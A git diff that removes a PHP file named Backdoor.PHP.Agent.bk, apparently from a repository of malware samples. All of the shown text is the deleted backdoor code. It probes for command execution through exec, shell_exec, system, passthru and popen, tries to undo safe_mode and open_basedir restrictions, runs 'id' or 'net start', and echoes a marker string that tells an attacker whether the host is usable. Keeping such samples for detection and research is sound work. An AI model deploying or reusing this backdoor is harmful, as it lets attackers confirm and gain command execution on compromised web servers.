diff --git a/PHP/Backdoor.PHP.Agent.bk b/PHP/Backdoor.PHP.Agent.bk
deleted file mode 100644
index 5a29414d..00000000
--- a/PHP/Backdoor.PHP.Agent.bk
+++ /dev/null
@@ -1,50 +0,0 @@
-<?php 
-if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ 
-$contrs=0; 
-} 
-else{ 
-ini_restore("safe_mode"); 
-ini_restore("open_basedir"); 
-if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ 
-$contrs=0;} 
-else{ 
-$contrs=1; 
-}} 
-
-if($contrs == 0){ 
-echo("FEELCOMZ"."SAFEOFF"); 
-}else{ 
-echo("FEELCOMZ"."SAFEON"); 
-} 
-
-function ex($cfe){ 
-$res = ''; 
-if (!empty($cfe)){ 
-if(function_exists('exec')){ 
-@exec($cfe,$res); 
-$res = join("\n",$res); 
-} 
-elseif(function_exists('shell_exec')){ 
-$res = @shell_exec($cfe); 
-} 
-elseif(function_exists('system')){ 
-@ob_start(); 
-@system($cfe); 
-$res = @ob_get_contents(); 
-@ob_end_clean(); 
-} 
-elseif(function_exists('passthru')){ 
-@ob_start(); 
-@passthru($cfe); 
-$res = @ob_get_contents(); 
-@ob_end_clean(); 
-} 
-elseif(@is_resource($f = @popen($cfe,"r"))){ 
-$res = ""; 
-while(!@feof($f)) { $res .= @fread($f,1024); } 
-@pclose($f); 
-}} 
-return $res; 
-} 
-exit;
-?>
\ No newline at end of file